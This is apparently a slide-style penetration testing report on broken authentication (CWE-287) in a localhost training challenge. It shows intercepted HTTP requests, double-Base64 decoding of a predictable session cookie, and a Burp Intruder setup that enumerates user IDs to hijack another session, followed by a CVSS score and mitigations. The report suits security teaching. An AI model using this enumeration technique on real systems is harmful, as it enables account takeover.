



BROKEN AUTHENTICATION & SESSION MANAGEMENT (CWE-287)

Penetration Testing Report – Lucas G. Sipos



WHAT IS THE VULNERABILITY?



**Broken Authentication &
Session Management
(CWE-287)**



**Occurs when identity
claims are not properly
verified.**



**Allows attackers to
impersonate users or gain
admin access without
proper credentials.**

HOW TO DO IT?

```
1 POST /challenges/ec43ae137b8bf7abb9c85a87cf95c23f7fadcf
2 Host: localhost
3 Cookie: SubSessionID=TURBd01EQXdNREF3TURBd01EQXdNUT09;
4 Content-Length: 40
5 Sec-Ch-Ua-Platform: "Linux"
6 Accept-Language: en-GB,en;q=0.9
7 Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
8 Sec-Ch-Ua-Mobile: ?0
9 X-Requested-With: XMLHttpRequest
10 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit
11 Accept: */*
12 Content-Type: application/x-www-form-urlencoded
13 Origin: https://localhost
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: cors
16 Sec-Fetch-Dest: empty
17 Referer: https://localhost/challenges/ec43ae137b8bf7abb
18 Accept-Encoding: gzip, deflate, br
19 Priority: u=0, i
20 Connection: keep-alive
21
22 userId=0000000000000001&useSecurity=true
```

1

Intercept the request

Dashboard Target Proxy **Decoder**

TURBd01EQXdNREF3TURBd01EQXdNUT09

MDAwMDAwMDAwMDAwMDAwMQ==

0000000000000001

2

2xDecode Base64

Dashboard Target Proxy **Intruder** Repeater Collaborator Sequencer Comparer Logger Organizer Extensions Learn SQLPy

1 x +

Sniper attack Start attack

Target https://localhost Update Host header to match target

Positions Add § Clear § Auto §

1 POST /challenges/ec43ae137b8bf7abb9c85a87cf95c23f7fadcf08a092e05620c9968bd60fcb6 HTTP/1.1
2 Host: localhost
3 Cookie: SubSessionID=TURBd01EQXdNREF3TURBd01EQXdNUT09; JSESSIONID=7B5DA14303D11D20E7BA08879FB19EA5; token=-99101826370829865274689736762791556545
4 Content-Length: 40
5 Sec-Ch-Ua-Platform: "Linux"
6 Accept-Language: en-GB,en;q=0.9
7 Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
8 Sec-Ch-Ua-Mobile: ?0
9 X-Requested-With: XMLHttpRequest
10 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
11 Accept: */*
12 Content-Type: application/x-www-form-urlencoded
13 Origin: https://localhost
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: cors
16 Sec-Fetch-Dest: empty
17 Referer: https://localhost/challenges/ec43ae137b8bf7abb9c85a87cf95c23f7fadcf08a092e05620c9968bd60fcb6.jsp
18 Accept-Encoding: gzip, deflate, br
19 Priority: u=0, i
20 Connection: keep-alive
21
22 userId=0000000000000001&useSecurity=true

Payloads

Payload position: All payload positions
Payload type: Numbers
Payload count: 99
Request count: 99

Payload configuration

This payload type generates numeric payloads within a given range and in a specified format.

Number range
Type: Sequential Random
From: 01
To: 99
Step: 1
How many:
Number format
Base: Decimal Hex
Min integer digits: 16
Max integer digits: 16
Min fraction digits: 0
Max fraction digits: 0
Examples
0000000000000001
000000987654321

Payload processing

You can define rules to perform various processing tasks on each payload before it is used.

Add Edit Remove Up Down
Enabled Rule
Base64-encode
Base64-encode

3

Payload Configuration

Request ^	Payload	Status code	Response received	Error	Timeout	Length
5	TURBd01EQXdNREF3TURBd01EQXdO0T09	200	5			245
6	TURBd01EQXdNREF3TURBd01EQXdOZz09	200	53			245
7	TURBd01EQXdNREF3TURBd01EQXdOdz09	200	4			245
8	TURBd01EQXdNREF3TURBd01EQXdPQT09	200	48			245
9	TURBd01EQXdNREF3TURBd01EQXdPUT09	200	5			837
10	TURBd01EQXdNREF3TURBd01EQXhNQT09	200	46			245
11	TURBd01EQXdNREF3TURBd01EQXhNUT09	200	5			245
12	TURBd01EQXdNREF3TURBd01EQXhNZz09	200	46			245

4

Irregular 9th request

Request Response

Pretty Raw Hex

```
1 POST /challenges/ec43ae137b8bf7abb9c85a87cf95c23f7fadcf08a092e05620c9968bd60fcb6 HTTP/1.1
2 Host: localhost
3 Cookie: SubSessionID=TURBd01EQXdNREF3TURBd01EQXdPUT09; JSESSIONID=7B5DA14303D11D20E7BA08879FB19EA5; token=-99101826370829865274689736762791556545
```

RISKS & IMPLICATIONS



AV

Network



AC

Low



PR

None



UI

None



S

Unchanged



C

High



I

High



A

None

CVSS SCORE (CRITICAL)

9.1/10



MITIGATION & RECOMMENDATIONS



**Regenerate session IDs
after login**



**Use HttpOnly, Secure,
SameSite cookies**



**Short session timeouts +
IP/User-Agent binding**



**Avoid predictable
encoding (e.g.: Base64)**



**Encrypt, salt & hash
session tokens**



THANK YOU!

“Security is a continuous
process — proactive
measures today prevent
breaches tomorrow.”